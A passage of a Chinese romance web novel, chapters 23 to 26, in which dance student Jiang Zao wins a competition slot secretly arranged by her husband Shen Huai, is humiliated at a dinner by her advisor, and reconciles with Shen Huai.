明明这些话都是医嘱里说的,从她的嘴里说出来的时候,却有些古怪的暧昧。
姜早羞臊得脖子都红起来,她有些不自然地揪了揪衣角,眼睛乱转就是不看沈淮。
男人的脚步朝她走近,一步,两步。
她感觉到呼吸的靠近,下意识往后退,结果他又靠近一步,她继续退,他再靠近。
她腿抵住了桌子,退无可退,她低头掩饰无措,心里一团乱,就见沈淮忽然抬起手,身子前倾,绕到身后,端起了那碗粥,舀了一口。
轻笑道:“很好喝,谢谢。”
这个笑不知道是因为她滑稽的表演还是粥真的好喝。
姜早的脸红的几乎要滴血,心脏仍久久不能平静。她平移着往旁边走,脱离那个区域,没再那么紧张了,她匆匆道:“那你先喝,我先走了。”
声音那声音慢慢道:“一会儿王妈会过来送你的换洗衣服。”
姜早匆匆回了个嗯字就要走。
沈淮又慢慢道:“明天搬家,我陪你去,你什么时候空。”
姜早说:“没事,我自己搬就好了,没多少东西。”
沈淮没应,伸手拿起手机后才淡淡道:“那我把那套房买下来,方便你以后随时去取。”
姜早急急抓住那只手,眼巴巴道:“不用,不用了,那辛苦你陪我去搬一趟。”
沈淮似恶作剧得逞般笑了:“好,我等你的电话。”
姜早狼狈的跑出门,继续再里面待着,心跳也许就要蹦出来了,还可能会因为心悸死掉。
今天明明过的很糟糕,却在刚刚,所有不好的回忆,都被盖住了。沈淮总是习惯帮她解决很多事情,她不再是漂浮在这个世界上的游魂,与世界总算产生了一些连结。
有一瞬间,她甚至又开始怀疑,沈淮是喜欢她的。
可是,也只是怀疑,她是个胆小鬼,不敢冒险提问。
这种冒犯的提问,也许会把他们直接的界限拉大。现在这样,很好。
23. 第 23 章
次日,姜早醒来的时候,沈淮已经走了。
她记得沈淮一向很忙。
木奈奈约的商场环境很好,入驻的几乎都是奢侈品牌,连门口站着的柜姐都十分有气质。
刚进门,木奈奈便注意到了周围不一样的气味:“早早,快闻~人民币的味道~”
柜姐上下打量了一眼,假笑:“二位自己挑一下,有需要随时喊我。”说完就离开了,没多停留。
姜早感觉到柜姐语气的轻蔑,有些窘迫。
“你真要在这买?”她朝旁边认真问。
木奈奈拎起衣服认真看,不满意,又拎起另一件衣服打量:“当然了!去江婷学姐晚宴的人肯定都是高端人士,咱们可不能掉了面子。”
姜早抿唇,是这个道理没错。
木奈奈终于看上了一件衣服,抓起吊牌看了一眼后,倒吸了一口凉气,指着吊牌侧头道:“早早,这衣服居然要三万,镶钻石了吗?”
姜早看了一眼:“要不算了。”
这件裙子确实好看,满身都是珠光,灯光照的时候很闪,抹胸细腰,后面的镂空设计还很凸显背后的线条。
衣服贵,可能不止是用料的关系,还和设计师有关,三万的衣服,设计师应该也小有名气。
木奈奈确实听取了建议,不过只是放弃了那件衣服,很快就选上了另一件衣服。
她把衣服举起来:“早早,这个好适合你,你快试试,才五千块。”
姜早无奈。
有了那件价值三万的衣服衬托,这件五千块的衣服突然听起来合适了很多。
这是一套白裙子,设计比较简约,更像是日常穿的,有种清澈干净的感觉。
姜早也没再推脱,正要拿起衣服进去试。
突然一道声音传过来:“江婷,这个白裙子好适合你!你快看!”
姜早停下来,朝声音的方向看过去。
两个女生走进店里,其中一个人,是个熟人。
江婷。
她今天穿的很漂亮,白色齐膝裙,胸前还有一个精致的花瓣刺绣,很衬气质。
姜早低下头看自己手里的衣服。
这衣服确实是江婷的风格。
木奈奈挽过姜早的手腕,小声在她耳边说:“哇是江婷学姐。”
江婷看到那件衣服,对姜早笑道:“是挺好看的。”
姜早本来也没有要买衣服的念头,将手里的衣服朝她递过去:“学姐可以试试,确实更适合你。”
江婷的视线讥讽的从衣服上刮过,又看向她,笑了一声:“多谢你的好意,但我的皮肤比较敏感,这些衣服的料子我穿不惯。”
姜早攥着衣服的手,紧了紧,周遭的空气安静下来。
“行了,还是直接去dc老师设计的那家吧,别在这边浪费时间了,你一会儿不是还要出去见人吗。”江婷身边的女人催促道。
姜早微怔。
她要去见人,是谁呢,会是那个人么。
江婷目光划过对面,嫣然一笑:“你说的有道理,不能让他久等了。”
他们走了。
“早早,怎么站着不动,这件你喜欢吗?要不要再选选。”
衣服被放回架子。
“不喜欢。”“走吧。”
最后,姜早在商场随手买了一件衣服,价格将近小一万,连木奈奈都惊骇于她居然买了这么贵的一件衣服。
中午她睡了一个午觉,梦里,沈淮身着黑色西装,江婷穿着白色婚纱,两人被拥在台上,台下的目光都是欣赏,说她们强强联合,一双壁人。
而她,作为一个闯入者,推开了殿堂的门,像个泼妇一样喊,为什么不要她,被众人当成疯子拽了出去。
台上两人丝毫不在意这段插曲,在众人弯弯的眉眼下,凑近拥吻。
梦做到这,她惊醒了,捂着心口,久久不能回神。
她换上舞蹈鞋,在客厅里一遍一遍的重复技巧。
其实,这几个技巧组合,她已经练过很多次了,几乎烂熟于心,也够肌肉记忆,临时反应,但她实在不知道做什么,只好一遍一遍的训练,以抚平那场梦给她带来的心慌。
那天傍晚,她去了晚宴,见到了酒色奢靡,灯红酒绿。
她没有在晚宴上见到沈淮,却听到了好几次沈淮的名字。很多人都会和江婷询问沈淮如今的近况,好像默认她们是绑定在一起的一样。
事实也确实如此,江婷侃侃而谈的,都是她从未听过的沈淮。
是在商场上运筹帷幄的沈淮,也是在异国他乡为她煮面的沈淮...
她听得失了神,像个闯入者一样,与周围格格不入。
她借口离开,打车回了家,下出租车,抬眸时,她看到了沈淮。
“钥匙。”他只说了这简单的一句。
姜早没完全反应过来,手已经伸向了口袋将钥匙递过去。他问了门牌号,便径自上楼去搬行李。
她站在路灯下,愣愣的望着远处那道背影。
他很好。
也许是因为他本身就很好。
无论是对谁,都会很好。
他可以在异国他乡护江婷在街头不被地痞欺负,也可以为有胃炎的江婷煮粥。
那样不掺杂任何意外的关怀,也许才叫做喜欢。
对她,也许更多的是责任,是义务,和很多很多个不得不的权衡。
她和沈淮结婚证上的这层关系,是不是无意中成为,江婷和沈淮爱情的阻碍了。
她突然觉得自己好自私,在这个时候,她居然想的是,该如何将沈淮占为己有,毕竟,有关联的这层身份,她的优势也许更大一些。
嗯,也许。
后来的一段日子,她每天都会给沈淮准备好清淡的早饭和晚饭,帮他的手快一些恢复。
没多久,他就因为工作出国了。
她甚至怀疑,出国工作只是借口,实际上是因为她在这里对他的生活造成了困扰。
空荡的房子里,只剩下猫和她。
也还好,还有猫。
不用去学校,也不用去舞房,这两周里,除了机械化的训练外,喂猫成了唯一让她有生气的事。
很快,时间就落到了比赛当天。
很多人都在门口看赛制,据说这场内场赛的赛制是新赛制,和其他舞蹈类型大赛不同属一个比赛体系。
一般,外界的舞蹈比赛都是从海选开始,大浪淘沙,再把沙子都放到一个环境里,让她们竞争,32进16/16进8/8进4以此类推,层层筛选,最后留下来的人才是胜利者。
拼的不仅是技巧,还有耐心和稳定输出状态。
像她曾经那样,比赛中出现明显失误,是肯定去不了最后一轮的。
而这
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次的内部赛,相较于之前的比赛,把表现力的评分标准拉了上去。也就是,表情控制和拿捏占大分比。
姜早并不奇怪主办方这个评分标准。
她上网搜过,这个比赛参赛人员大部分都是公司旗下舞蹈演员,她们中大多数人表情上的表现力很好,但技巧性偏弱。所以这次的赛制,难免会往表情上提占分比。
她转身时,看到红桌上的裁判名单,有江婷两个字,走近了一看,果真是江婷。
她之前搜到的裁判名单里明明没有这个名字,是刚加上去的。江婷不具有专业技巧知识,她为什么能作为裁判。
她很不喜欢这种感觉。
明明,在这之前,她和江婷之间算是同场竞技,是站在同一平地上的竞争对手。如今,江婷却变成了,对她来说至关重要的人,得到江婷的肯定,她才能得到去休斯顿的机会。
真是可笑啊...
开赛在即,所有人都被安排到比赛场馆。
姜早被安排的座位比较靠前,正前方就是裁判区,主持人热情地说着词。
姜早前面的位置就是江婷,本来没打算与江婷打照面,谁料江婷自己转了过来,笑道:“听说你还是沈淮妹妹的老师啊?”
这件事没几个人知道,江婷却知道了,也许是沈淮告诉她的吧,也是,她们关系那么好,肯定一直保持着联系。
姜早点头,没多说。
江婷倒是有了兴致,笑道:“那你要好好表现哦。”
说完,主持人正讲道她的名字,她站起来,朝前面的摄像头颔首轻笑。
姜早听清了主持人的介绍词。
原来,江婷来这里,是作为商业价值裁判。
突然闪光灯咔嚓一下,照在她脸上。
她错愕的看过去。
向北辰站在两边的走道上,见她看过来,眼睛离开取景框,笑着打招呼。
还没等她细想,大屏幕上已经出现了第一轮的比赛人选。
比赛进展的很快,轮到她的时候,是第四轮。
听到主持人喊道自己名字,她在绿幕后面,闭眼,深吸了一口气。
自从那次失误后,她已经有好几年不曾站在聚光灯底下了,说不紧张是不可能的。
报到第二遍名字。
她掀开绿幕,在一片黑暗中,走到了中心点位,摆好了准备舞姿,闭上眼。
三、二、一。
一束聚光灯落到她头顶,万籁俱寂,仿佛天地间只剩下这一个舞台,这是独属于她的世界。
音乐前奏缓缓响起,落到第四拍重音的时候。
她打开眼,起势,让每一个动作落到鼓点。
她五官和身高比很优越,细胳膊细腿,脖子上的锁骨若隐若现。光是站在那里,就像是一只高贵的白天鹅。
向北辰不停的按快门,心中默默想,明明很好拍照嘛。
曲结束,舞落幕,姜早朝台下鞠躬。
江婷前几次都是拖到最后才给的分数,这回却是第一个给分数,她用脸前的话筒,朝旁边两边看过去:“不好意思,我先给了,这个我挺喜欢的。”
周围几个裁判对了一下眼色,附和了几句后也举起了高分。
观众席慢慢开始有议论声。
“关系户吧,我刚刚还听到这个人和裁判在聊天...”
“真是倒霉了。”
24. 第 24 章
最后一轮,她以最高分拿到了直通休斯顿顶尖的名额。
可是,她明明故意出错了。
漆黑的夜色,绚烂的灯光,主持人站在聚光灯下宣布完最终获奖人时,周围人陆续退场,底下乱乱的,谁也看不清谁。
姜早透过路灯的光线去看迎面而来的江婷。
江婷走的面无表情,却在与她对视上时,轻笑了一声。
姜早没有动,在与她擦肩而过时,淡淡说:“为什么要这么做。”
江婷停下来,侧头看她,似是没听清,问了一句:“什么?”
姜早转身,对她面对面:“你为什么要这么做?”
她不傻,江婷的反常,别人看得出来,她当然也看得出来。
她不相信江婷这么精明的人,会不知道这番举动,会给她造成多严重的影响。
江婷静了一会,突然笑了,她理了理衣领:“才这点压力就承受不住了?那你怎么敢去勾搭沈淮呢?”
她的眼神刺骨,是鄙夷,是嫌恶。她就是故意的,那又怎么样呢?
姜早:“你早知道…”
江婷走近她:“连审题都不会,这场比的是表情的配合,你的表情远没有同组人优秀,要不是我,你早就淘汰了。”在离姜早一步远的地方,她停下,嘴角微勾:“事实就是你看到的那样,我随手一个举动就可以轻易改变你的人生,沈淮和我一样,是能够轻松在整个京城翻云覆雨的人。我和他才是一个世界的人,你不是。”
她俯身,凑近姜早耳边:“我是在劝你,也是在提醒你,不要用你的时间来反复印证我的话,毕竟每个人的时间都很宝贵。”
她站直,撩起垂落的发丝到耳后,没在意姜早的反应,笑着离开。
周遭人来人往,只有姜早站在原地,如同一个木桩一样了无生气。
其实周围有很多声音,但她都听不见,脑海里只有江婷刚刚说的那番话,一直重复播放。
她没办法反驳,因为江婷说的都是真的。
沈淮在他眼里,就是天上的那轮月亮,皎洁明亮,而她只是满地花草中最平凡的一朵,从始至终,一直在仰望。
一开始,她确实只因为意外随便和他领了证,可是后来,她确实无意识的喜欢上了沈淮。
在那些仰望的岁月里,有开心有无措,但更多的是自我否定和怀疑。
这样真的能维持下去吗。
一个握着的拳头慢慢伸到她身前,手背对上,翻转,打开。
是一颗粉色的糖果。
“吃糖吗,学姐。”
姜早抬头。
向北辰笑着看她,顺带晃了晃手里的糖:“草莓味的。”
姜早接过糖,深吸了一口气:“想吃烧烤。”
向北辰打了个响指:“走,我知道这附近有一家烧烤很好吃。”
这三天比赛,他们一直都是一起吃饭的。
姜早要控制形体,一直吃的是水煮菜。向北辰为了陪她,也吃了三天的水煮菜。
这么看来,向北辰好像是瘦了不少。
这天晚上,他们吃到很晚。
向北辰把摄像机递给她,让她选一选自己喜欢的照片。
她翻了很久,每一张照片都很好看,是她参加过这么多大大小小的舞蹈比赛以来,最好看的。
“不愧是大摄影师,很厉害,每一张我都很喜欢。”
向北辰别扭的扭过头:“那正好,这个相机你拿着吧,送给你了。”
姜早没反应过来。
向北辰接着道:“就当成,我送你比赛拿了第一的礼物。”
姜早把相机推了回去:“别开玩笑了,里面可不止有我的照片,你的工作不要了?”
向北辰看着相机,垂头慢慢且无奈道:“好吧,我传给你。”
她不知道的是,这个相机里拍的,只有她。
她点了一瓶啤酒,他陪她喝,喝到最后两个人都有点醉了,趴在桌子上,闭着眼聊天。
沈淮站在路灯下,光将他的影子拉的很长。
特助满头大汗的跑到他身边:“沈总,场馆里的人都走光了,没找到你说的那个人。”
旁边路上堵车,汽车鸣笛。
沈淮侧眸,无意中凝视到一张熟悉的面孔,气压骤然低下来:“不用找了。”
他径直穿过马路,伸手揽过姜早。
姜早醉得沉,睡的沉,被改变了位置也浑然不知,搂住他的脖子,让自己睡的更舒服些。饶是上了车,也不肯放开沈淮的脖子。
气压骤然降的很低。
坐在前座的助理不时往后面望着,脸上表情惊悚,他在沈总身边这么久,只知道他是个工作狂,没见过他身边有什么女人。
前几天出国,本来安排了八天沟通行程,沈总四天就谈下来了,当晚就让他订票回国。他当时还调侃沈总这么急着回家,是不是家里有人了,眼下看沈总软玉在怀,真是玩笑话坐实了。
司机撇了一眼后视镜,默默将中间的挡板升起来。
回到家的时候,沈淮想将她放到床上,但她的手像是沾了胶水,怎么也扒拉不掉。
沈淮便去掰她的手。
姜早被掰的不舒服,睁开了眼睛,猝不及防的和他的眸子对上。
她抱着他的脖子,一瞬间眼泪占满了眼眶:“沈淮”
她压抑已久的情绪,骤然在这时候崩盘,泪水像是一串银珠不断地从脸两边落下来。
只以为在梦中,她大胆的凑近他,呼吸交织,她浑然不觉暧昧。
“我不开心了,沈淮。”
眼泪不断留下来,她咬着唇,本来想忍住,可到底还是忍不住。
直到这个时候,沈淮才发现,自己的情绪是会因为另一个人不断变化的。
就像此刻,她脸颊泛红,眼里水汽萦绕,他一点生气都没有了,明明想批评她深夜和陌生人喝酒,可到嘴边,又突然不忍心了。
他嗓音干涩,慢慢的,缓缓的,一字一句道:“那要怎么做,你才会开心。”
姜早慢慢收拢环抱着沈淮的手,脸一寸一寸的靠近他,在要靠近鼻尖时,却停住了。
眼神相交中,他们的眼里只有对方。
紧贴着的身体,是一颗心脏粘连着另一颗心脏,一起跳动。
下一秒
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,姜早的脸重重落在沈淮的肩上,睡了过去。
沈淮无奈的低头,像个败仗的战士。
他轻轻将她放到床上,为她盖好被子,坐在地上,点开手机打了一通电话。
“难得给我打电话,说吧是什么事呀?让我来猜猜,是不是国外那个合作拿不下来,我早说过,那个团队是技术大拿,不会轻易签下来的。还好,我爸之前和他们中间一个人有些交往,我去帮你...”
沈淮没心思听她说什么多,直接问:“今天你去的那场比赛,是谁赢了?”
对面的人明显一迟疑,干笑了两声道:“怎么突然问这个?好像叫姜早吧,我没怎么留意。”
“嗯,挂了。”沈淮挂断电话,蹙眉自语道,“不是因为这个。”
他笨拙的点开搜索网站,输入词条——女朋友不开心怎么办?
那一晚,他在地上坐了一整夜,夜晚的风是冷的,但他浑然不觉。
京都别墅里,江婷将手机从耳边移开,攥着手机的手约捏越紧。
第二天醒来的时候,天已经很亮了,太阳在正中。
姜早头晕的厉害,揉着眼睛从床上坐起来,环视周围的环境,自己竟然已经到家了。
可关于昨天的记忆,她是一点也想不起来了,只记得自己在和向北辰喝酒。
难道是向北辰把她送回来了?
不可能。
向北辰不知道她结婚了,怎么可能知道沈淮家的位置。
她手揉着太阳穴,试图想起昨天的记忆,任凭怎么想都想不起来了。
手机在这时候响起。
是向北辰打来的,他语气很急,问她在哪里,说翻了监控,看到她被一个男人带走了,就是夜色太暗,监控看不清那人的样子。
姜早生怕他下一秒报警,就赶紧解释。
“我没事,我已经到家了。昨天那个是...我表哥,他在路上看到我喝醉了,把我带回家了。”
向北辰松了口气:“没事就好。”他挥手扫退了一排待命的警察,在大街上坐下,心惊胆战道:“早早,你和我的酒量怎么一样差。”
姜早无奈:“知道酒量差,你怎么还喝酒。”
“还不是因为...”向北辰想说的话梗在喉咙里,说不出口,他其实是想醉了之后让姜早照顾他,扶着他回去也好,没想到自己酒量差到直接睡过去的程度,也没想到主动提出来喝酒的姜早,连两杯酒都顶不过去。
当然这些话,他不可能说出来,只能小声嘟囔:“你不是也知道自己酒量差,还喝酒。”
姜早见要陷入死循环,便不说了,扶额道;“我一会儿还有事,先挂了。”
挂断电话后,她轻轻揉了两下太阳穴。
门恰好打开了,沈淮端着热牛奶和面包走进来,在床头柜上轻轻放下。
姜早看着牛奶上蒸腾的热气,没反应过来。
沈淮已经替她拉开了窗帘,侧头问:“我今天没事,你下午有什么安排?我可以陪你。”
姜早慢慢道:“我今天要去学校。”
沈淮点了点头:“好,那我送你,吃好之后再下来,不急。”
25. 第 25 章
本以为这些举动是沈淮的一时兴起,却没想到这样的行为持续了好几天。
她恢复了日常学习和工作之后,每天度很忙,没有时间细想这些事。
庆祝会在傍晚举行。
每次组里有人拿到大型赛事的名额,导师都会私下举办一个庆祝会。
十月,天气微凉。
姜早挑了一件黑色保暖的训练服,临出门前,又换成了白色长裙。
恰好沈淮从更衣室路过停下来,她就举起手里的衣服问:“等会和导师吃饭,哪一条合适。”
姜早皮肤白皙,五官也长得很好,其实穿什么都是好看的。
沈淮不做犹豫的指了指他手里的训练服:“这件。”
姜早转头看过去,眼睛亮了亮:“我也觉得穿裙子太正式了,还是穿这身吧。”
沈淮走进来,拿了一件西装外套穿上,背身整理:“我送你过去。”
姜早还来不及说什么,他已经走了。
这几天他们一直是这么交流和相处,她渐渐也有些习惯了。
等到她到达约定的地方,里面人已经差不多来齐了。
姜早明显感觉到里面气氛不对,一进门,她就自己开口:“不好意思,路上有点堵车,来晚了。”
一个和她关系要好的学姐忙去迎接她,边走边凑到她耳边道:“不好意思,我看文献看糊涂了,忘记通知你庆祝会提前十分钟。”
姜早抿唇,有些紧张的坐下。
这回算是知道为什么周围人用这个眼神了。
学姐在旁边尬笑了两声道:“哎呀,主角总是最后出场的嘛,先恭喜我们姜早同学,拿到顶尖计划的名额!”
所有人都在看教授,教授坐在主位,靠在椅背上,静了一会儿才笑:“是年轻有为。”
得到这句话,周围人才开始恭喜起来。
硕导底下的人不少都是参加过很多大型舞蹈赛事、表演的,也是精英中的精英,都知道顶尖计划的含金量有多高,这是所有舞蹈者追求的一个竞争平台,可以和很多同水平的人一起训练、竞争,也可以和更高段次的老师学习。
一时间,所有人的热情都涌了过来。
“行了,恭维的话留着酒后说吧。”教授举起酒杯。
周围人也懂事的闭上嘴,一轮倒酒过后,所有人举杯,只剩一个姜早迟迟没有抬起酒杯。
姜早抿唇。
自己的酒量不好自己是知道的,连啤酒都容易醉,更何况是红酒,在这样的场面喝醉酒闹笑话着实不好。
旁边人拱了拱她,小声催她。
姜早一看,硕导那边的脸色果然不好了。
姜早感觉心脏被攥紧,本来想拒绝,手已经不自觉的提了起来,假笑道:“多谢各位的鼓励,也多谢老师的栽培。我会带着各位的祝福在这比赛场上努力拿一个好名次,去为学校争光。”
酒杯相撞后,姜早祥装倒一大口,实则只抿了一小口,好在没人把目光放在她身上。
她不懂酒,品不出酒的特色,只感觉这酒比白酒好些,想比辣味,更多了些甜。
她松了口气。
硕导落下酒杯,指尖在酒杯上叩了几下,停下后,笑着慢慢道:“谢倒是不用谢我,校方的资源比你个人还要差些。我就是敬佩一些为了机会不择手段的人,有想法也有魄力,以后我们舞蹈系还要多多靠你呢。”
周围气氛凝固起来。
明眼人都听得出来,这句话听起来是恭维,其实话里话外都是嘲讽。
姜早攥着酒杯的手微紧:“硕导严重了,是校长给我提供的机会,也是您这么多年对我的苦心栽培,才能让我在这次外赛中顺利拿到顶尖计划的名额。”
“校长?”
周围有几个学姐对了一眼,小声议论起来。
姜早解释:“是我之前有机会见到校长,特地拜托他帮我留意外赛名额...”
硕导笑了两声道:“姜早,大家和你都是同窗,你没必要藏着掖着。那个比赛我也留意了,我本来想给你们争取,但是人家工作人员怎么跟我说,说人家这是针对公司签约舞蹈演员的内部赛,不方便给我们提供名额,你肯定有什么别的路子吧?”
姜早迟疑了一会:“我没有...我..”
硕导手指着她,朝旁边笑道:“你看,还藏着,非要我点出来,一个沈老板是不是。我都听人家主办方说了,唯一参赛的个人学生,是一个大老板塞进来的,他们还跟我说,所有人都要陪这个学生走个过场呢。”
沈。
沈淮
她脑子轰的一下,炸开来了。
名额确实是校长给她的没错,但是又是谁给校长的呢。
校长当时说,这个名额拿下来有些困难。却很快给她回了电话,说这个名额拿下来了。
背后也许真的有沈淮的推波助澜。
一瞬间,百感交集,落在喉咙里的红酒,原觉得甜味要重,现在都变成了苦味。
所以呢,都在耍她吗?
硕导又举杯,温声笑着道:“好了,这关系需要藏着是吧?大家都懂,那就不问了。来,再提一杯吧,以后咱们还要多靠姜早同学提供资源。”
酒过三巡。
硕导又要抬酒杯。
姜早实在忍不住,阻拦道:“老师,我的酒量不好,实在是喝不下了。”
同组的人也都是搞学术的,平时不怎么喝酒,三巡酒过后,脸早就烧起来了,就是没人敢驳了硕导的面子。
所有人都在等其他人出声,奈何都太能憋了。
听到姜早出声,周围人暗自松了口气,面上不显。
硕导放下酒杯,皱眉带笑:“庆祝宴,你这主人公都不喝了,大家还有什么意思?再喝一杯!庆祝宴难得一次,得尽兴啊,小姜。”
明明话是没问题的,姜早却感觉周围的空气都因为这句话,压了起来,一时间难以呼吸。
所有人都在看她。
她看着硕导拿到似笑非笑的目光,总算懂了,硕导今天就是来找她难堪。
她和硕导之间的羁绊很早,是在当初她刚考上研究生的时候。据说,她笔试的成绩比硕导的女儿高了一分,导致硕导的女儿被刷下去了。
后来,她就一直感觉到,硕导不太喜欢她。
在众人的目光之下,姜早站起身,抬起酒杯,轻笑着说。
“老师说的对。”
四巡、五巡、六巡...
她喝的头痛欲裂。
即使故意小口小口喝,叠加起来也喝了一大杯。
最后实在是有人提起来,说她的状态不对,硕导才让她先行离开。
意志刻意的强撑是有用的,好歹姜早没有睡过去。
凌晨,冷清的街道
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,只有三三两两的路人。
路灯的光照在黑色的迈巴赫上,里面的助理等的不耐烦,开了车门,刚打算下车。
抬眸就看到,饭店的旋转门走出来两个女人,其中一个就是小沈总的女朋友。
他刚想打报告,侧头一看后面,那人一向平静的脸上,现在黑的有些恐怖。
“我去接...”他话还没说完,后车门被拉开。
拉车门的力气隐约带了些不悦。
他缩了缩脖子,坐了回去。
以往投资失败都没见过沈总这个表情,太可怕了。
旋转门外,学姐问了好几遍姜早家里在哪里,奈何姜早说不清完整的话,和睡过去了一样。她杵在门口,扶额:“算了,我带你去酒店吧。”
说完,她就要打车。
突然一双鞋挡在她面前。
“给我。”
学姐正要看是哪个地痞流氓,一抬头看到只在海报里看到过的沈淮,惊愕之余,眼神在沈淮和姜早之间来回看了一会。
指着沈淮道:“沈淮?你就是那个沈老板?”
姜早听到沈淮的名字,自觉动了动,从学姐身上下来,踉踉跄跄的找方向,看到沈淮那张脸,她十分愚蠢的笑了笑,头晕目眩的世界感觉不到危险,上前两步,钻到沈淮的怀里。
带着酒气和傻气的喊了一遍沈淮的名字。
学姐明显感觉到沈淮的脸色更黑了,但搂住女人的力道却是温柔的,他蹙眉看过来,问:“什么沈老板?”
学姐也喝了点酒,心直口快道:“就刚刚,我们硕导说她能拿下顶尖计划的名额,都归功于一个叫沈老板的人。姜早也真是够倒霉,我们硕导平时高傲惯了,很要面子。姜早的成绩比他好很多,我们都看出他都有些妒忌,这次被他抓住敲打的地方了,刚刚吃饭没少借事说姜早,还灌了她不少酒。”
学姐仰头,看上头云层越来越暗,月亮也被遮住了,赶忙摆摆手道:“好了,天色不早了,我就送到这,先进去了,你们慢走。”
车里的助理走神刷了会手机,突然后车门唰的一下打开,又唰的一下关上。
他刚要往后说话,却没看到人。
酒味怎么这么浓?
他低头,就见一个女人躺在后座上,脸上还被盖了件西装。
敢情这是喝醉了?
高楼之上,众人朝教授举杯,说着一些恭维不恭维的话。
学姐打开门走进来:“我跟你们说...”
她关上门,看着众人都在看她,突然脑袋里装的事情忘记了:“哎?我要说什么来着,怎么给忘了。”
硕导脸上早就红了一片,但是说话还是沉稳,指着她道:“你看,一个两个酒量都这么不好。咱们搞舞蹈艺术创作的,最重要的是什么?是灵感,是感觉!有时候啊,喝一点就,新的动作就出来了。”
周围人跟着他喝了一杯酒,又是夸他。
把他夸的高兴了,他笑着摇摇头,对从前侃侃而谈起来。
“就教材里那套蒙族舞,你们知道吧,那就是我喝两壶酒编出来的,那个豪迈啊,那个往上挺拔的那个劲儿,喝过酒了之后,我就感觉自己在大草原上骑马,一下子动作就出来了,你们啊,也得多练练酒量。”
众人扶额提杯,早就听不清他说的什么了,只知道附和。
唰的一下,门被拉开。
26. 第 26 章
众人望过去。
一个身穿白色衬衫黑裤子的男生,神色冷冽的站在门口。
他只是站在那里,周围的空气就沉寂的让人喘不过气。
有人认出了沈淮,忙和旁边人求证,以防是自己喝酒喝多了出现的幻觉。
“快掐我,我好像看到我男神沈淮了。”
“你好像没看错,因为我也看到了。”
硕导最先反应过来,放下酒杯,和蔼地笑道:“这不是沈淮吗?这么巧,你也在这里吃饭啊?”
沈淮看着已经空了的酒杯,眉头微蹙:“不算巧,方便出来一下吗,老师。”
硕导脸色微僵,但面上不显:“当然。”他朝旁边摆手,“你们先吃,不用管我。”
桌边的学姐望着那两道走出去的身影,双手按着脑袋,喃喃:“到底忘了什么?”
再次走进来的时候,硕导脸色铁青。
他坐下之后,再也没有动一下。
脑海里都是刚刚沈淮说的那句:我太太酒量不太好,您多见谅。
学姐突然敲了敲脑门,激动地举起手道:“我想起来我刚刚忘记什么了!刚刚送学妹下楼,是沈淮学长接的!”看到周围人的目光聚过来,她慢吞吞的收回手:“不好意思,刚想起来。”
硕导抬起酒杯,仰头闷了一口酒。
夜晚的街道很安静,沈淮让司机把车停在别墅门口,低头看姜早时,姜早枕着她的腿还在睡梦中。
她的酒量确实不好,只喝了一杯酒,脸到现在都是红的。
沈淮蹙眉,心中莫名有些不快。
“沈淮...”睡梦中的姜早嘟囔了一声,眉头是蹙着的,应该不是什么好梦。
沈淮叹了口气,心中沉闷消了大半,手伸到她腋下,另一只揽过她腿弯,将她抱起。
挡板降下,司机想说什么,被沈淮用眼神示意,点头没了声。
晚上的风是冷的,女孩许是觉得冷了,无意识揽住他的脖颈,往他身上蹭了蹭,她的身体真实软的要命。
沈淮蹙眉,拨开她脸上的发丝,轻轻道:“真是让人不放心。”
那话是温柔的,连他自己都未察觉。
站在远处的私家侦探按了两下快门。
远在京城夜场包厢里的江婷放下腿,慵懒的拿起手机看了一眼,看到图片的那一刹那,她的眉头瞬间蹙起来。
那是她从沈淮脸上,从未见过的目光。
印象中,沈淮和所有人都像是隔了一块玻璃,即使对相交多年的她也不过是相敬如宾。
之前她总以为,沈淮就是那样的人,她劝自己,再等等,等他事业稳定,自然就会有时间看看身边的她。
没想到,竟然会出现这种意外。
不,她不允许。
江婷从真皮沙发上坐起来。
旁边正在滔滔不绝合同内容的公司代表诧异道:“怎么了,江姐?”
江婷走到一半,才想起来这件事,回头平淡道:“心情不好,这个合作作废吧。”
那位公司代表站起来:“哎,江姐...”
......
夜半,姜早被锅碗瓢盆的声音吵醒。
她没完全醒酒,头痛欲裂。
扶着额起来的时候,沈淮正围着围裙,端着一碗汤走过来。
见她醒了,便直接端到她面前来:“醒酒汤,喝了。”
姜早眼巴巴的看他,也没去细思自己为什么回家了,看着他的脸,只想起方才在饭桌上,硕导嘲弄的那番话。
人在喝醉的时候格外大胆,也格外脆弱。
她还没开口,眼泪就已经止不住的掉下来了:“顶尖计划的名额,是不是你给校长的。”
沈淮在床边放下碗,要给她递纸:“是。”
姜早没接,哽咽的,一个字一个字慢慢说:“可是,你知不知道,我为了证明自己,花了好多好多时间。”说到后面,她有些说不下去,咽了两次口水,才继续说:“就因为你的帮助,我的努力,全部都毁了。”
沈淮看她。
她的眼中泛着波光。
这次没有强忍,也没有逞强。
他不解:“你不想要?”
姜早闭眼,眼泪大颗大颗落下来:“我想!可是我想的是靠自己的努力拿下来!不是靠别人...”
沈淮将纸放在她脸上,一寸一寸,为她擦拭。
“可是姜早。”他说。
“这种比赛,都有一条不成文的规定,叫做资本对比法,那是他们主办方的判断,就算不是你,也会有别人倚靠这款规定拿到名额,这就是现实。”
姜早偏过头,不去看他:“我想静一静,你先出去。”
没错,他说的都没错。
可是她所有的努力呢?都是笑话吗?
沈淮端起醒酒汤递过来:“先把醒酒汤喝了。”
姜早躲过她递来的碗:“我不喝。”
沈淮站在原地:“嗯,我等你。”
也不知道是不是酒意让人变得格外敏感和冲动,她扭头,拍掉了那只碗:“我说我不要喝!”
碗落在地上碎了一地。
她被吓了一跳,酒意也清醒了一些。
沈淮却没生气,低头半跪在地上捡碎掉的碗。
姜早看到他被烫红的右手,着急的跑下床,抬起他被烫红的右手,吹了两下,含着眼泪问:“对不起,疼不疼。”
她自责起来。
那只手,也曾经为救她而受过伤。
沈淮静默的看她,抬手拂去她脸上的泪痕。
“对不起,我没有考虑你的感受,你原谅我好不好,下次不会了。”
这是他第一次对别人道歉。
姜早说不出原谅他,只是抽泣的越来越频繁。
这样的僵持,沈淮有些不安,便开口道:“我再给你煮一碗解酒汤。”
他刚想转身,一只手拉住他。
他停下来。
姜早上前一步,脸埋在他胸前,低声啜泣:“可是我真的不想喝解酒汤。”
什么都不想进嘴巴。
她现在最讨厌的就是喝的东西了。
沈淮松了口气,右手轻轻揽住她的腰,轻声道:“好,不喝了。”
后来,她也忘了自己是怎么睡着了,只记得沈淮抱了她很久,一直没松手。
次日
姜早醒过来的时候,沈淮已经不在了,地上也已经收拾干净了。
回学校的时候,听学姐说,硕导收礼被查出来了,因为涉嫌数额巨大,已经主动请辞了。
